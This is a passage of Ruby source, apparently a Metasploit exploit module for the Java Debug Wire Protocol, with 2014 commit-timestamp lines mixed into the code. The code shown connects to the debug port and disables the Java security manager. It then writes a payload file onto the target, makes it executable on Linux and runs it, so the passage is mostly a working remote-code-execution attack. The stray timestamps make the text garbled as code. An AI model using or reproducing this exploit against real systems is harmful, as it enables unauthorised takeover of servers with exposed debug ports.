fail_with(Failure::Unknown, "Security attribute not found") if sec_field.nil?
value = get_value(sys_class["reftype_id"], sec_field)
if(value == 0)
print_good("Security manager was not set")
else
set_value(sys_class["reftype_id"], sec_field, 0)
if get_value(sys_class["reftype_id"], sec_field) == 0
print_good("Security manager has been disabled")
else
print_good("Security manager has not been disabled, trying anyway...")
end
end
end
2014-05-29 21:45:44 +00:00
# Uploads & executes the payload on the target VM
def exec_payload(thread_id)
# 0. Fingerprinting OS
fingerprint_os(thread_id)
vprint_status("Executing payload on \"#{@os}\", target version: #{version}")
2014-05-29 21:45:44 +00:00
# 1. Prepares the payload
payload_exe, pl_exe = setup_payload
2014-05-29 22:14:59 +00:00
2014-05-29 21:45:44 +00:00
# 2. Creates file on server for dumping payload
file = create_file(thread_id, payload_exe)
# 3. Uploads payload to the server
pl = upload_payload(thread_id, pl_exe)
# 4. Dumps uploaded payload into file on the server
dump_payload(thread_id, file, pl)
# 5. Closes the file on the server
close_file(thread_id, file)
# 5b. When linux arch, give execution permissions to file
2014-06-16 18:37:44 +00:00
if target['Platform'] == 'linux'
cmd = "chmod +x #{payload_exe}"
execute_command(thread_id, cmd)
end
2014-05-29 21:45:44 +00:00
# 6. Executes the dumped payload
cmd = "#{payload_exe}"
execute_command(thread_id, cmd)
end
def exploit
2014-06-03 21:13:14 +00:00
@my_id = 0x01
2014-05-29 21:45:44 +00:00
@vars = {}
@classes = []
@methods = {}
@threads = {}
2014-05-29 21:45:44 +00:00
@os = nil
2014-05-29 22:14:59 +00:00
2014-05-29 21:45:44 +00:00
connect
2014-06-04 17:48:20 +00:00
unless handshake == HANDSHAKE
2014-06-04 19:14:23 +00:00
fail_with(Failure::NotVulnerable, "JDWP Protocol not found")
2014-06-04 17:48:20 +00:00
end
2014-05-29 22:14:59 +00:00
print_status("Retrieving the sizes of variable sized data types in the target VM...")
2014-06-04 18:18:59 +00:00
get_sizes
2014-05-29 21:45:44 +00:00
print_status("Getting the version of the target VM...")
2014-05-29 21:45:44 +00:00
get_version
print_status("Getting all currently loaded classes by the target VM...")
2014-06-03 21:13:14 +00:00
get_all_classes
2014-05-29 21:45:44 +00:00
print_status("Getting all running threads in the target VM...")
get_all_threads
print_status("Setting 'step into' event...")
r_id, t_id = set_step_event
2014-05-29 21:45:44 +00:00
print_status("Resuming VM and waiting for an event...")
2014-06-11 23:55:27 +00:00
response = resume_vm
2014-06-11 23:55:27 +00:00
unless parse_event(response, r_id, t_id)
datastore['NUM_RETRIES'].times do |i|
print_status("Received #{i + 1} responses that are not a 'step into' event...")
buf = read_reply
2014-06-11 23:55:27 +00:00
break if parse_event(buf, r_id, t_id)
if i == datastore['NUM_RETRIES']
fail_with(Failure::Unknown, "Event not received in #{datastore['NUM_RETRIES']} attempts")
end
end
2014-05-29 21:45:44 +00:00
end
vprint_status("Received matching event from thread #{t_id}")
print_status("Deleting step event...")
clear_event(EVENT_STEP, r_id)
2014-05-29 21:45:44 +00:00
print_status("Disabling security manager if set...")
disable_sec_manager
print_status("Dropping and executing payload...")
2014-05-29 21:45:44 +00:00
exec_payload(t_id)
disconnect
end
2014-05-29 22:14:59 +00:00
end